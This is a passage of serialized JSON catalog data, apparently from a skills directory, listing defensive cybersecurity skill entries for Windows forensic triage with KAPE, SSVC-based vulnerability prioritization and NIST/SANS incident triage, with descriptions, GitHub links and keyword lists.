collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[185],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[187,188,189,43,190,191,192,193,194,195,196,197,198,199,200,201,145,202,203,204],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":209,"categories":210,"keywords":212,"publishedAt":46},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[211],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[213,214,215,43,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":233,"name":234,"nameZh":6,"description":235,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":236,"categories":237,"keywords":239,"publishedAt":46},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[238],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[116,240,43,241,242,243,244,245,246,247,248,174,249,175,250,251,252,253,254,255],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]